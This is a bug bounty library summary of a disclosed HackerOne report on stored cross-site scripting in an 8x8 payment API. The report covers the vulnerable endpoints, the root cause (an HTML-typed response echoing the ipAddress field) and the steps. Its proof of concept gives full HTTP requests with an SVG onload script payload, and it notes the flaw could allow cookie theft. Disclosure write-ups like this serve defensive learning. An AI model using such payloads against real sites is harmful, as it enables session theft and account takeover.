# Stored xss at https://█.8x8.com/api/█/ID

Stored XSS via ipAddress field on patchPaymentMethod; the paymentInfoById endpoint served it as text/html, executing JS in victim browsers.

- Payout: $1,337
- Severity: high
- Program: 8x8
- Found by: pentestor
- Disclosed: 2023-10-30
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2078490
- Library page: https://bugbountylibrary.com/r/h1%3A2078490
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:rest technique:js-analysis technique:source-review vuln:xss

**Target:** 8x8 pay.8x8.com API endpoints /api/patchPaymentMethod/ID and /api/paymentInfoById/ID
**Root cause:** User-controlled ipAddress was stored unsanitized and later reflected by paymentInfoById with Content-Type text/html, so the browser parsed the value as HTML/JS.
**Steps:**
1. Read JS to find `POST /api/patchPaymentMethod/ID` accepts `ipAddress`
2. Send `{"ipAddress":"<svg on onload=(alert)(document.domain)>","callBackURL":"dssdsd"}` to patchPaymentMethod
3. Observe 400 but value still persisted
4. GET `https://<host>.8x8.com/api/paymentInfoById/ID` which returns `Content-Type: text/html;charset=UTF-8`
5. Confirm SVG onload executes in browser
**How found:** Reading JavaScript revealed the ipAddress is user-modifiable via patchPaymentMethod; then noticed paymentInfoById responds with Content-Type text/html, hypothesizing stored HTML injection would execute.
**Exploitation:** Attacker modifies their own payment method's ipAddress with an SVG onload payload; any victim who loads the paymentInfoById URL (identified by a 32-char random hash) executes attacker JS in the 8x8 origin, enabling cookie theft.
**Insight:** When an API endpoint returns Content-Type text/html, any stored user field it echoes becomes an XSS sink—grep JS for patch/update endpoints feeding fields later rendered by HTML-typed GET endpoints.

## Proof of concept (copied exactly from the original report)

**POST patchPaymentMethod with XSS payload in ipAddress**

```
POST /api/patchPaymentMethod/█████████ HTTP/2
Host: ███.8x8.com
Cookie: ajs_anonymous_id=13b1ab4c-87f5-4dbb-967b-066b6d7efd1e; _gcl_au=1.1.275521026.1689699475; _fbp=fb.1.1689701587161.1730712436; __cf_bm=MloB4oUJmeviUXpE1GRUn8TtqbE4CwVEttuZr9tUrOQ-1689845706-0-AWJDz0q9F1c0CmKcbShEYyS7Qqsfd88Gb9W9YsIXUoHhnP/aHA+wGRccAnb8GxD1HBTGXJ71aHh7XzOojjLP/sg=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/json
Content-Length: 112

{
              "ipAddress": "<svg on onload=(alert)(document.domain)>",
"callBackURL":"dssdsd"
            }
```

**Team summary example request with XSS payload**

```
POST /api/patchPaymentMethod/ID HTTP/2
…

{
  "ipAddress": "<svg on onload=(alert)(document.domain)>",
  "callBackURL": "dssdsd"
}
```

